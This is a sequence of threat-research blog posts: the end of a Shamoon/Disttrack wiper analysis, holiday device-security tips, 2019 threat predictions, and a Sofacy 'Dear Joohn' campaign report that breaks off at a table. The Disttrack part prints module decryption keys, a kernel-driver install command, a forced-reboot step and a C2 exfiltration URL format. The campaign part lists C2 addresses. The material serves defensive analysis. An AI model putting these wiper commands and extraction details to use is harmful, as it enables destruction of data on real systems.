The dropper has a hardcoded kill time of '12/7/17 23:51'; if the system date is after this date the dropper installs the wiper module and starts wiping files on the system. The dropper reads the '%WINDOWS%\inf\mdmnis5tQ1.pnf' file to obtain a custom kill date that it will use instead of the hardcoded time. The communications module installed by the dropper writes to this file, which will be discussed in a later section. The dropper also decrypts a string '\inf\averbh_noav.pnf' that is the other file that the communications module uses to write system information to and if the wiper was able to successfully wipe the system, but the dropper does not appear to use this file.

The dropper has three resources, two of which contain embedded modules, specifically a communications module and a wiper module. The third resource contains an x64 variant of the dropper, which it will use if the architecture of the system is determined to be x64. The resources have a language set to ‘SUBLANG_ARABIC_YEMEN’ that was also found in the previous Disttrack samples used in Shamoon 2 attacks. The resource names are PIC, LNG, and MNU, which are slightly altered versions of the ICO, LANG, and MENU names found in previous samples.

The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module.

 

Resource name PIC
Description x64 variant of Dropper
Base64 Key 2q9BQGHGVktPVIMZ6Nx17Njp4B5mHgj51hbybNInRWsNIWniq6hOYvf5CksMXvPOyl/3dYKDn7ymSGlK0+l5KA8YC8dzkkAwmn0nbBO97HgjJKJyL9DoiYKsO2M+A44NgOI89FIsWjcex9oEWzOo6VvxJ69HBvg+L4FExlbd8ZfvGewxgPgl98lqVGj14y5OBFIHTdvfxnnq/cTR55TgQdVDFUJHd2ljyzDl3LKPSUxT9sIE1aS7EA==
Offset 8786-14
Length 983552
SHA256 of Cleartext 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03

Table 1 Resource containing the x64 variant of the Disttrack dropper

 

Resource name MNU
Description Communications module
Base64 Key U3JGgjNUDzWJEpOxzuwHjOijgav56cZatHh98dLbazGIBe7UMOcvdyCvU5/8mH1n7jUcMSIPFmqr7M671h5jradiKMn9M1sBdAmKSZUnXhz6FQKcvzkOee6EKEQZdKABTKX4mW+0arvZG70YhczUhI2ywcEcx+5tU6/aeQoX6ABoiP3wLsSsRatGwqR89fMir6S2Z7Lf5YW3i0a/2vCxwjK9r/zO5FXJBXsV1QRJ8F27t8pmYYFNiaN4OaN+7Gu7lf8=
Offset 8601-14
Length 266752
SHA256 of Cleartext 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe

Table 2 Resource containing the communications module in the Disttrack dropper

 

Resource name LNG
Description Wiper module
Base64 Key cb5F91PLTu1hN8oPgG2a6AQiJkphsXAmWFarsUoYEFo/BNgxF8Rj/hdzHxW/k/fLCZboSJRLnr9OH578IJyiSSdvz3uUaNA/vycy7ZJaZ8Vf36i0L8fF9GYY4/glZt570dbuT8N7N6DFqIltGLAt87fZnUH07RlfqtsVfITXGlhJtxu7bBgB46gH74Y+WNy16u9BS8mdh+S8jqToZrob7o4wI2CUcoaf17mZ7P2SIVL+X5GVls6OrDA3/t50GX3t6wH4DTR7IHhoonQPA5rmKWxS6gcp
Offset 7892-14
Length 402432
SHA256 of Cleartext 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c

Table 3 Resource containing the wiper module within the Disttrack dropper

 

The dropper will install itself to the system (and remote systems if spreading was possible) by creating a service with the attributes listed in Table 4 below.

 

Service name MaintenaceSrv
Service display name Maintenace Host Service
Service description The Maintenace Host service is hosted in the LSA process. The service provides key process isolation to private keys and associated cryptographic operations as required by the Common Criteria. The service stores and uses long-lived keys in a secure process compl\x1d
Binary path MaintenaceSrv32.exe or MaintenaceSrv64.exe

Table 4 Service created by the Disttrack dropper

 

The dropper chooses a random name when installing the communication and wiper modules to the system. The communications module will have one of the following filenames with the ‘exe’ file extension:

 

  • netnbdrve
  • prnod802
  • netrndiscnt
  • netrtl42l
  • mdmadccnt
  • prnca00
  • bth2bht_ibv32
  • cxfalcon_ibL32
  • mdmsupr30
  • digitalmediadevicectl
  • mdmetech2dmv
  • netb57vxx
  • winwsdprint
  • prnkwy005
  • composite005
  • mdmar1_ibv32
  • prnle444
  • kscaptur_ibv32
  • mdmzyxlga
  • usbvideob
  • input_ibv48
  • prnok002_ibv
  • averfx2swtvZ
  • wpdmtp_ibv32
  • mdmti_ibv32
  • printupg_ibv32
  • wiabr788

 

The wiper module will have one of the following filenames with the ‘exe’ file extension:

 

  • _wialx002
  • __wiaca00a
  • tsprint_ibv
  • acpipmi2z
  • prnlx00ctl
  • prngt6_4
  • arcx6u0
  • _tdibth
  • prncaz90x
  • mdmgcs_8
  • mdmusrk1g5
  • netbxndxlg2
  • prnsv0_56
  • af0038bdax
  • averfix2h826d_noaverir
  • megasasop
  • hidirkbdmvs2
  • vsmxraid
  • mdamx_5560
  • wiacnt7001

 

Wiper

The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named 'e' that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to ‘%WINDOWS%\system32\hdv_725x.sys’. The wiper then creates a service named ‘hdv_725x’ for this driver using the following command line command and runs it with "sc start hdv_725x":

 

sc create hdv_725x type= kernel start= demand binpath= %WINDOWS%\system32\hdv_725x.sys

 

This wiper was configured using the ‘R’ flag, which generates a buffer of random bytes that it will use to overwrite the MBR, partitions and files. The sample supports two additional configuration flags as well, specifically ‘F’ and ‘E’ flags that will either overwrite files using a file or encrypt its contents.

The wiper could be configured to use a file to overwrite the files on the disk using the ‘F’ configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named ‘GRANT’, but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5.

 

Resource name GRANT
Description File to overwrite within Wiper module
Base64 Key heocXOK4rDmQg4LRfiURI9wSOuSMwe0e69NfEpZLmyNixiUGYdEtpx/ZG3rMRN7GZlJ1/crQTz5Bf6W0xgkyYCwzD247FolCGA0EE5U/Oun5qlDd1u1CA+fee7cG
Offset 71-14
Length <unknown>
SHA256 of Cleartext <unknown>

Table 5 Resource in wiper module that would contain file to use for overwriting data

 

This sample is also capable of being configured to import an RSA key to encrypt the MBR, partitions, and files via configuration flag ‘E’. This sample was not configured to encrypt files, and the RSA key is empty in the wiper.

After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data:

 

shutdown -r -f -t 2

 

Communications

The communications module (SHA256: 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe) dropped by the Disttrack dropper will use the following two supporting files:

 

%WINDOWS%\inf\mdmnis5tQ1.pnf - Used to set a wipe date for associated wiper module

%WINDOWS%\inf\averbh_noav.pnf - Used to mark successful wiping

 

The communications module is responsible for reaching out to hardcoded URLs to communicate with the C2 server, but like previous Disttrack samples, this communication module does not contain functional C2 domains to use in the URLs. If it did, it would create a URL with a parameter named 'selection' followed by system information and the contents of the 'averbh_noav.pnf' file, as seen here:

 

[C2 URL, empty]?selection=[system info and contents of averbh_noav.pnf]

 

When communicating with the C2 URL, the communications module would use a User Agent of 'Mozilla/13.0 (MSIE 7.0; Windows NT 6.0)', which is the same as past Disttrack communication module samples. Table 6 below show the two commands the C2 could respond with that the communications module could handle.

 

Command Description
E Reads base64 encoded file from the C2 server, runs 'del /f /a %TEMP%\Temp\reilopycb\*.exe' to delete previously downloaded executables, runs 'mkdir %TEMP%\Temp\reilopycb] > nul 2>&1' to create a folder and saves the executbale to a file named '[tick count].exe'. The Trojan then runs the downloaded executable %TEMP%\Temp\reilopycb\[tick count].exe'
T Opens the '\inf\mdmnis5tQ1.pnf' file and writes a supplied date to the file. The '\inf\mdmnis5tQ1.pnf' file is used by another associated module to this communications module that is responsible for wiping the system.

Table 6 Commands available within the communication module's command handler

 

Conclusion

The Disttrack sample uploaded to VirusTotal is a variant of the samples used in the Shamoon 2 attacks in 2016 and 2017. The tool does not have the capability to spread to other systems on the local network. Instead it would have to be loaded onto and executed on the system that the actors intend to wipe. The wipe date of '12/7/2017' does not seem timely. However, this older date is still effective as the Disttrack dropper will install and run the wiper module as long as the system date is after the wipe date. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead, it would overwrite the MBR, partitions and files on the system with random data. While we can’t confirm this sample was used in the Saipem attack, it is likely at least related to it.

 

Palo Alto Networks customers are protected from this threat:

  • WildFire detects all samples associated with this attack with malicious verdicts
  • AutoFocus customers can track this attack and previous Shamoon attacks using the Disttrack

 

Indicators of Compromise

c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f - Disttrack Dropper x86

0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 - Disttrack Dropper x64

0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe - Disttrack Comms module x86

391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c - Disttrack Wiper module x86

6985ef5809d0789eeff623cd2436534b818fd2843f09fa2de2b4a6e2c0e1a879 - ElDos RawDisk Driver x86

ccb1209122085bed5bded3f923835a65d3cc1071f7e4ad52bc5cf42057dd2150 - Disttrack Comms module x64

dab3308ab60d0d8acb3611bf364e81b63cfb6b4c1783864ebc515297e2297589 - Disttrack Wiper module x64

bc4513e1ea20e11d00cfc6ce899836e4f18e4b5f5beee52e0ea9942adb78fc70 - ElDos RawDisk Driver x64

 

Threat Brief: Twelve Tips for the Holidays

Posted on by Unit 42

This time every year, people all over the world get new devices. Regardless of what holiday(s) you may (or may not) celebrate, the end of the year is a time for people to give and receive some of the latest devices to come on to the market.

Nothing spoils a new gadget more than having some kind of security or privacy problem related to it. After that, nothing spoils the fun and excitement of unboxing and playing with an exciting new device than trying to figure out what you need to do to use it with reasonable safety and privacy.

To that end, we’re providing some very basic, but critical steps that you, your family, your loved ones, and friends can take to ensure some basic security and privacy for new devices quickly and easily that can help you be safer and not spoil your unboxing fun.

In the vein of the holiday spirit, we’re providing a list of twelve short, simple recommendations that can help you have a happy, safe, and private holiday season.

1. Use a Password Manager: Even though not all devices can use password managers directly, it’s still one of the best things you can set up. PCs and Macs as well as smartphones and tablets increasingly support the use of password managers directly. But even for devices that don’t, you can and should use a password manager to generate and store strong passwords for use on all devices in its vault. Preferably, find a password manager that requires two-factor authentication.

2. Protect Your Home Routers and Wi-Fi: In a home of computers, phones, tablets and IoT devices, nearly always the common point is the home router and Wi-Fi. For most, it’s something they set up once and forget about. But if you want to keep your home devices more secure, you need to make sure the underlying router and Wi-Fi are more secure. Take time to ensure you have a good, complex, unguessable password. This is where a password manager can help. You may consider configuring it to not broadcast the SSID as well: that can make adding devices a little harder, but that means it’s even harder for people to try and join your home network.

3. Set up More Secure Accounts on Your PCs and Macs: PCs and Macs (both desktop and laptop) are still around and as important as ever in the home. Take time to set up an account for everyone with their own username and password. Also, all modern operating systems allow you to make accounts “regular user” accounts rather than admin accounts. Set everyone up as a “regular user” and set up a separate administrative account to use for maintenance. If you have kids, avoid the temptation to let them all use one account or accounts without passwords: this is a chance for them to start to learn the right way to handle passwords by giving them their own and teaching them to never share that password. You can generate the password for them and retain it as the “administrator” if you want for monitoring. This also is an important lesson for kids to understand that privacy on computers isn’t absolute: the admin can always look at what they’re doing.

4. Prevent Lost Tablets and Smartphones from Turning into Something Worse: Portable devices means an increased risk of loss or theft. These days, our portable devices often have greater access to more sensitive information than our PCs and Macs do – in the form of mobile banking apps, wallet apps and stored credit cards. All modern tablets and smartphones have settings you should enable before you take these portable devices out of your home:

a. Passcodes to lock the device.
b. Encryption of information on the device.
c. Lost device location.
d. Deleting or “wiping” data if too many bad passcodes are tried or if you active it remotely.

5. Protect your Data on Smartwatches and Personal Fitness Devices: Smartwatches and personal fitness devices are similar to smartphones and tablets and have some of the same features. In addition to using those features, you should take time to ensure you know what health information is being used and that the cloud account(s) these devices synchronize with have very strong passwords. These devices gather some of your most personal information. In some cases, the most serious risk isn’t around the device but the data being stored in the cloud.

6. Be Smart with Your Smart Home: Smart home is an umbrella term for a diverse set of devices that have one thing in common: they all feature some kind of internet connectivity. Each and every device will have its own security and privacy settings and it pays to take time to understand those BEFORE you put these to work in your home. Across the board, though, making sure your home router and Wi-Fi have good security and that you’re using good, strong unique passwords when paring devices with apps (where possible) are easy things you can do for all these devices.

7. Don’t Forget About Home Entertainment Apps, TVs and DVRs: When we think about home entertainment, there’s really two things you need to think about with security. First is the security of the devices themselves. In nearly all cases, good security around home routers and Wi-Fi will be the best thing you can do for the devices. But home entertainment isn’t just the physical devices. It’s the apps you use to view content. All apps like those from Netflix, Amazon, Hulu and others have their own passwords to connect to their service, and attackers crack and sell compromised accounts to these services. Because of this, make sure you’re using good, strong unique passwords for the apps you use on these devices. This will also protect these apps on your tablets, smartphones, PCs and Macs.

8. While You’re at it, Protect Your Gaming Consoles: Similar to home entertainment devices, gaming consoles have both the security of the actual device and then the security of the cloud-based accounts to deal with. Just like with home entertainment devices, it’s the cloud-based account that attackers are more interested in. Here again, taking time to set up good strong passwords is key. Also, many gaming platforms now include a second means of authentication (typically a text sent to your phone): you can and should enable that, if at all possible.

9. Configure User Profiles for Voice Assistants: Voice assistants are some of the newest devices out there, which means they’re the least known and understood. The biggest risk that’s been popularly discussed is voice command hijacking by outside sources. While a cool news story, it’s not been documented to be a broad risk, especially as devices get better at specific voice recognition. For these devices, take time to configure individual user profiles as much as possible. And many of these devices feature mute buttons that can functionally turn them off when you don’t need them. If you haven’t been using it, consider using that feature.

10. Use Smart Speakers Smartly: Smart speakers can be thought of as a subset of home assistants in that they are voice-activated devices in your home. And many smart speakers have digital home assistants built into them, making the distinction even less clear. This means that what you would do for security for your digital home assistant would apply to smart speakers as well. However, one thing to consider is if all you really want or need is a smart music device, it may make sense to keep your purchases focused on devices that do only that. This can improve your security by reducing the risk posed by features that you don’t want or need.

11. Drive Safely and Securely with Smart Cars: While “car hacking” is something that you see in the news, the reality is that practical smart car security is more common than headlines may lead you to believe. A key differentiating feature with smart cars is they often have “smart” lock and ignition systems that are tied to fobs and/or your devices (like a smartphone). Good smart car security in this case means building on the good security around devices and good physical security. Ensure that any connected smart devices have good security, especially to protect against loss or theft. Make sure you only give fobs to people that you trust. And ensure that any cloud-connected accounts have good passwords and use a second authentication method, if possible.

12. Patch, Patch and Patch Some More: We close this list with patching because it is the most important thing you can do. Few people like getting into the guts of devices to manage updates and the apps on them but the reality right now is that this is not only critical for security and privacy, it’s also sometimes a process that can only be done manually. For every kind of device or system, you should think about and understand how you can do updates for:

a. The “firmware”: this is the software that is on the physical device itself, like the actual router, the actual car or the actual DVR.
b. The operating system on the device: Some devices don’t have an operating system separate from the firmware, but many do. PCs and Macs have firmware and an operating system (Windows, macOS and Linux).
c. The apps and applications on the computer or device: Like we noted about home entertainment and gaming consoles, sometimes it’s the apps rather than the device itself that is important. Many apps these days have auto-update capabilities. But some don’t, so it’s important to make sure you know how apps get their updates.

If you take some time to understand these basic ideas and take these basic steps, you can ensure that you’ve got a good start on using new devices more safely and with better privacy during the holiday season.

Of course, this isn’t an exhaustive list. And it’s always good to know about other features and capabilities, for example child safety controls. But the start of a journey of a thousand miles begins with one step, and the start of a journey of a thousand days of using these new devices safely can start with these simple steps.

Cyberthreats in 2019: The Trends That Will Continue to Move Upward

Posted on by Ryan Olson

When it comes to realistic predictions for the year ahead, my philosophy is simple: there are certain trends that research shows will continue to move upward. With that said, in 2019, I believe we are going to see:

 

1. More Attacks With the Eventual Goal of Cryptocurrency Mining

We saw a huge uptick in this at the end of last year that continued throughout 2018. Cryptocurrency mining is the process through which currencies like bitcoin are created. The “mining” process involves racing to perform a series of calculations to solve a cryptographic problem. The person who wins the race is awarded a block of coins, and the more CPU power someone can throw at those calculations, the better their chance at winning. It has become too safe a way for attackers to make money. Although I don’t predict this will skyrocket, I do see it being a continuous point in the threat landscape of which people and businesses alike need to be aware.

 

2. An Increase in Business Email Compromise Attacks

We have done a lot of research on BEC attacks and observed a steady increase since 2013. In fact, we held a conference this summer for industry and government officials to learn more about them. For those unfamiliar, this is a class of attack where a cybercriminal targets a company or organization, typically small to mid-sized, with a relatively large bank account. The attacker targets the email account of a high-level executive through spear phishing or a malware-related email. Once they have access, they look at the account very closely to learn how this person might transfer money or might be impersonated. The attacker then tricks the victim or the victim’s business partners into transferring tens of thousands of dollars into a bank account. The FBI estimates there has been $12 billion in theft related to this type of attack between 2013 and now. It’s an area that hasn’t achieved the level of awareness it needs, especially in small to mid-sized organizations.

 

3. More Email-Based Attacks That Use Malicious Macro Code

We first started seeing this in October 2014 in WildFire. Instead of trying to exploit vulnerabilities in people’s software, attackers use malicious macro code in Word or Excel and ask users to click the “enable content button.” When the user does this, it infects the user’s computer with malware. This has been quite effective for attackers, and luckily for them, users have not become more aware. Unless something significant happens, like Microsoft disabling macros by default for everyone, we are going to keep seeing attackers use this because it’s just too easy for them.

Dear Joohn: The Sofacy Group’s Global Campaign

Posted on by Bryan Lee

 

 

As alluded to in our previous blog regarding the Cannon tool, the Sofacy group (AKA Fancy Bear, APT28, STRONTIUM, Pawn Storm, Sednit) has persistently attacked various government and private organizations around the world from mid-October 2018 through mid-November 2018. The majority of targets were NATO-aligned nation states, although several former USSR nation states were also targeted. The attacks primarily deployed variants of the Zebrocy tool, which we have previously analyzed. A smaller subset of the delivery documents  delivered Cannon or a Zebrocy Delphi variant as reported by ESET. Since we began tracking the use of Zebrocy going back to mid-2015, we have observed a significant increase in frequency of deployment of this tool. Compared to other backdoor tools associated with the Sofacy group, the use of Zebrocy in attack campaigns is far more widespread.

The cluster of activity we detail in this blog revolves primarily around a common author name used in each of the delivery documents: Joohn. Our initial sample of interest was the delivery document using the crash list(Lion Air Boeing 737).docx filename, which delivered the Zebrocy tool. By leveraging our AutoFocus threat intelligence platform in conjunction with data collected from VirusTotal, we were able to pivot from artifacts discovered in the metadata and behaviors to discover the Cannon tool, as well as a number of additional delivery documents, payloads, and targets. The attack vector for all of these attacks appears to be via spear-phishing, using email accounts registered to legitimate email providers instead of spoofed email addresses or previously compromised accounts. The account names visually look similar to legitimate government organization names or other trusted third-party entities. The delivery documents were functionally all the similar, using the remote template function in Microsoft Word to retrieve a malicious macro from the first stage C2 and ultimately loading and executing an initial payload. The majority of delivery documents contain a generic lure image requesting the victim enable macros with no additional content, the adversaries seemingly relying solely on lure filenames to entice victims to launch the malicious document.

In all, we intercepted nine weaponized documents spanning from October 17, 2018 through November 15, 2018 all sharing the same Joohn author name and delivering variants of either Zebrocy or Cannon. The target radius of our dataset spans four continents, covering government agencies at the federal level all the way to local government agencies. We also conducted timeline analysis using the collected data which allowed us to discover how the Sofacy group timed their attacks in the Dear Joohn campaign and also how they may have crafted their attacks using automated tools.

 

Attack Details

Beginning on October 17, 2018, we collected a total of nine delivery documents sent to a multitude of organizations around the world. The targets included a foreign affairs organization in North America, foreign affairs organizations in Europe, as well as government entities in former USSR states. We also discovered evidence of possible targeting of local law enforcement agencies around the world, covering North America, Australia, and Europe. Our telemetry also showed possible targeting of NGOs, marketing firms, as well as organizations in the medical industry. The attack vector of these attacks was all via spear-phishing, using email accounts registered to the free email provider Seznam, a popular web services provider located in the Czech Republic. An example can be seen in Figure 1.

 

Figure 1 Example spear-phishing email delivered in Dear Joohn attacks

 

In this campaign, the Sofacy group appears to have relied heavily on filenames to lure victims into launching the weaponized documents. Filenames ranged from topics alluding to Brexit, the Lion Air crash, and recent rocket attacks in Israel. The full list of filenames we were able to collect can be seen in Table 1. Although the filenames appeared to be highly targeted and pertinent to the victims, the actual lure content of the documents were far more generic as seen in Figure 2.

 

Figure 2 Generic lure image

 

In November 2018, the adversary shifted tactics and began implementing non-generic lure content for their weaponized documents. We collected three samples heavily targeting NATO-aligned nation states at this time, using three different lures as seen in Figure 3.

Figure 3 Targeted lure content

 

In one of the documents, the victim is presented with what appears to be an obfuscated document with the NATO EOD seal and text alluding to the targeted nation state. Unpacking the document revealed that the unobfuscated image was a screenshot of a cover page regarding a NATO workshop in the targeted nation state. The other two documents had very similar lures to each other, presenting garbled text to the target with instructions for the victim on how to properly view the document. Interestingly, one of them contained instructions in Russian, which may indicate the intended target was a Russian speaking nation-state.

Each of these weaponized documents used the same tactic for their attacks. Upon opening the document, it leveraged the ability of Microsoft Word to retrieve a remote template to then load a malicious macro document as seen in Figure 4.

 

Figure 4 Microsoft Word attempting to download the remote template

If the C2 server is active at the time the document is opened, it will successfully retrieve the malicious macro and load it in the same Microsoft Word session. The victim will then see a prompt to Enable Content as with any malicious macro document as seen in Figure 5. If the C2 server is not active at this time, the download will fail and the victim will not receive a prompt to Enable Content as no macro is downloaded.

Figure 5 Remote template document requesting the user to click "Enable Content" to run macro

 

Clustering

The delivery documents used in the October and November waves shared a large number of similarities, as seen in Table 1, which allowed us to cluster the activity together. Most notably, the author name Joohn was used repeatedly in each delivery document. There was a slight deviation in the November grouping, where the three samples we collected still used the Joohn author name for the last modified field but reverted to a default USER/user author name for the creator field.

Hash Filename Created By Last Modified By Remote Template Location Remote Template Hash
c20e5d56b3.. 1500029.docx Joohn Joohn 185.203.118[.]198 86bb3b00bc..
abfc14f7f7.. Passport.docx Joohn Joohn 185.203.118[.]198 86bb3b00bc..
40318f3593.. DN_325_170428_DEA Basic Narcotics Investigation Course invitation.docx Joohn Joohn 145.249.105[.]165 2da5a388b8..
5749eb9d7b.. 2018_10_13_17_15_21.docx Joohn Joohn 145.249.105[.]165 0d7b945b9c..
2cfc4b3686.. crash list(Lion Air Boeing 737).docx Joohn Joohn 188.241.58[.]170 f1e2bceae8..
af77e845f1.. Заявление.docx Joohn Joohn 188.241.58[.]170 fc69fb278e..
34bdb5b364.. Rocket attacks on Israel.docx user Joohn 109.248.148[.]42 ed8f52cdfc..
79bd5f3486.. 201811131257.docx USER Joohn 109.248.148[.]42 b9f3af84a6..
77ff53211b.. Brexit 15.11.2018.docx

DIP 89 OIC Condemns 14 Nov Attacks.docx

15.11 attacks.docx

 USER Joohn 109.248.148[.]42 <Unknown>

Table 1 Delivery documents seen in the Dear Joohn attack campaign

 

The remote template documents retrieved by the delivery documents in Table 1 also shared a common author name, using the string xxx.Table 2 shows the remote templates downloaded by delivery documents in this attack campaign. In the tables and text of this report, we are referring to samples by a shortened version of their SHA256 hash to improve readability. The full hashes and metadata are available in CSV format here.

Hash Filename

Author

 Created Last Modified Hosted on IP
f1e2bceae8.. office.dotm xxx 10/31/18 10:52 10/31/18 10:52 188.241.58[.]170
86bb3b00bc.. Note_template.dotm xxx 10/17/18 05:35 10/17/18 05:35 185.203.118[.]198
2da5a388b8.. release.dotm xxx 10/25/18 07:06 10/25/18 07:06 145.249.105[.]165
0d7b945b9c.. message_template.dotm xxx 10/23/18 13:55 10/23/18 13:55 145.249.105[.]165
fc69fb278e.. documents.dotm xxx 11/01/18 05:00 11/01/18 05:06 188.241.58[.]170
ed8f52cdfc.. templates.dotm xxx 11/13/18 10:52 11/13/18 10:52 109.248.148[.]42
b9f3af84a6.. attachedTemplate.dotm xxx 11/15/18 05:35 11/15/18 05:35 109.248.148[.]42

Table 2 Remote templates downloaded by Dear Joohn delivery documents

 

As seen in Table 1, the delivery documents accessed their respective remote templates from four C2 servers at the following IP addresses:

  • 185.203.118[.]198
  • 145.249.105[.]165
  • 188.241.58[.]170 
  • 109.248.148[.]42

These initial C2 IP addresses not only hosted the remote templates that subsequently load the first-stage Zebrocy or Cannon payloads, but the IP addresses also hosted the C2 server for the first-stage payloads themselves. All C2s used in the Dear Joohn campaign were IP-based and examining the infrastructure did not provide significant overlap or relationships with previous Zebrocy or Sofacy infrastructure. A visual representation of the Dear Joohn campaign can be seen in Figure 6.

 

Figure 6 Relational diagram of artifacts 

 

We created a timeline of the activity based off the data we collected, and found that the attack dates were tightly clustered into two waves in mid- to late-October and in mid-November as we see in Figure 7 using the timestamps from Table 3.

Filename Created On Last Modified First Seen Total Time (In Days)
Passport.docx
instruction.docx		 9/11/18 04:22 10/13/18 08:21 10/18/18 07:38 37.1
DN_325_170428_DEA...invitation.docx 9/11/18 04:22 10/13/18 08:21 10/25/18 08:15 44.12
crash list(Lion Air Boeing 737).docx
Бурханов.docx		 9/11/18 04:22 10/13/18 08:21 11/01/18 06:50 51.1
Заявление.docx 9/11/18 04:22 10/13/18 08:21 11/01/18 11:41 51.3
1500029.docx 10/18/18 06:59 10/18/18 07:00 10/18/18 08:47 0.4
2018_10_13_17_15_21.docx 10/18/18 06:59 10/18/18 07:00 10/24/18 07:38 6.2
Rocket attacks on Israel.docx 11/13/18 12:17 11/13/18 10:46 11/14/18 05:14 0.7
Brexit 15.11.2018.docx
DIP 89 OIC Condemns 14 Nov Attacks.docx
15.11 attacks.docx		 11/14/18 14:17 11/15/18 04:50 11/15/18 06:28 0.8
201811131257.docx 11/14/18 14:33 11/15/18 04:50 11/15/18 12:31 0.9

Table 3 Timestamps of delivery documents (all times in UTC)

 

Figure 7 Dear Joohn timeline

 

Based off the timestamps we have, four delivery documents were initially created on September 11, 2018 04:22 UTC. These four were then all modified on the same date and time on October 13, 2018 08:21. Having three different C2 locations embedded inside these delivery documents while maintaining the exact same timestamping may indicate the use of an automated tool. Using a command line based penetration testing toolkit such as Phishery could allow for simple scripting to generate multiple documents all at the same time with different inputs. From there, there was an average of a two-week gap until these documents were first seen in the wild. In total, these four documents had an average of roughly 46 days from initial creation to attack. Based on the modular nature of the Dear Joohn campaign attacks, the lengthy amount of time from initial creation to attack may suggest the campaign was not yet ready for deployment due to additional development required for the remote templates, payloads, or infrastructure. Another possible scenario is that the adversary may have had a certain timeframe they desired to execute the attack, and from the timeline it is clear there were two distinct targeting time frames, one from mid to late October 2018 and the other in mid-November 2018. As the campaign progressed, the operational tempo of the Dear Joohn campaign increased, with the total time from document creation to first seen dropping down to an average of roughly two days.

When comparing the provided timestamps of the delivery documents to the timestamps for the remote template documents from Table 2, we find that the time to attack is directly correlated to the last time the templates are modified. On average, there was a 13.8 hour gap between when the template document was last touched by the operator and when the delivery document is first observed in the wild. This leads us to believe that the generation of the delivery documents were indeed part of a staging effort, first with the initial creation of the document, modification to it to communicate with a C2, then generating a remote template document just prior to launching the actual attack.

Analysis using timestamps is not always conclusive however. One of the documents we examined with the filename Rocket attacks on Israel.docx (SHA256: 34bdb5b364..) contained inconsistent creation and last modified timestamps, with the last modified timestamp occurring before the creation timestamp. A possible explanation for this is that the document was copied to another system with an incorrectly set system time, then saved with the incorrect time. This document was also the first of the mid-November cluster which used the user/USER author name instead of Joohn, further supporting the scenario of the document being copied between systems.

 

The Payloads

The delivery documents in this attack campaign loaded remote templates whose macros installed a variety of first-stage payloads. With the notable exception of the Cannon tool, the first-stage tools are all variants of the Zebrocy Trojan. The Zebrocy variants delivered in this campaign were written in several different languages, including Delphi, C# and VB.NET. Information on the first-stage payloads delivered in this attack are listed in Table 4.

 

SHA256
 Compiled Variant C2
5173721f30.. 10/23/18 C# Zebrocy 145.249.105[.]165
61a1f3b4fb.. 11/1/18 C# Cannon sahro.bella7[at]post.cz
6ad3eb8b56.. 6/19/92 Delphi Zebrocy 188.241.58[.]170
9a0f00469d.. 10/25/18 C# Zebrocy 145.249.105[.]165
b41480d685.. 6/19/92 Delphi Zebrocy 109.248.148[.]42
c91843a69d.. 6/19/92 Delphi Zebrocy 185.203.118[.]198
e5aece694d.. 11/13/18 VB.NET Zebrocy 109.248.148[.]42

 

Table 4 Payloads delivered in related attacks

 

The Delphi variant of Zebrocy delivered in this attack campaign are very similar to the Delphi downloader discussed in our previous Zebrocy research published in June 2018. While this Delphi variant was known, the C# and VB.NET variants delivered in this attack campaign were previously unknown. An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed. While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed.

By collecting and analyzing additional Cannon samples, we believe we have also found a Cannon variant written in Delphi. We have seen Sofacy using multiple languages to create variants of the Zebrocy Trojan, so it seems fitting that the group would create additional variants of Cannon in multiple programming languages as well.

 

C# Cannon

Since our initial blog that introduced the Cannon tool, we were able to collect more samples of Cannon to get a better understanding of its origins. It appears that the first known sample of Cannon was created on April 18, 2018 and since then there has been at least seven additional samples. Table 5 shows the known Cannon samples, their compilation time and the email accounts used for its C2 communications.

 

SHA256 Compiled C2 account POP3S Account SMTPS Accounts
861b6bc1f9.. 4/18/18 sym777.g kae.mezhnosh vebek.morozh30

g0r7tsa45s

marvel.polezha
4405cfbf28.. 5/14/18 sym777.g kae.mezhnosh vebek.morozh30

g0r7tsa45s

marvel.polezha
174effcdee.. 6/15/18 sym777.g kae.mezhnosh vebek.morozh30

g0r7tsa45s

marvel.polezha
a23261e2b6.. 6/22/18 sym777.g kae.mezhnosh vebek.morozh30

g0r7tsa45s

marvel.polezha
651d5aab82.. 10/19/18 sym777.g kae.mezhnosh vebek.morozh30

g0r7tsa45s

marvel.polezha
68df0f924c.. 10/22/18 sym777.g kae.mezhnosh vebek.morozh30

g0r7tsa45s

marvel.polezha
61a1f3b4fb.. 11/1/18 sahro.bella7 trala.cosh2 Bishtr.cam47

Lobrek.chizh

Cervot.woprov

 

Table 5 Gathered C# Cannon samples

 

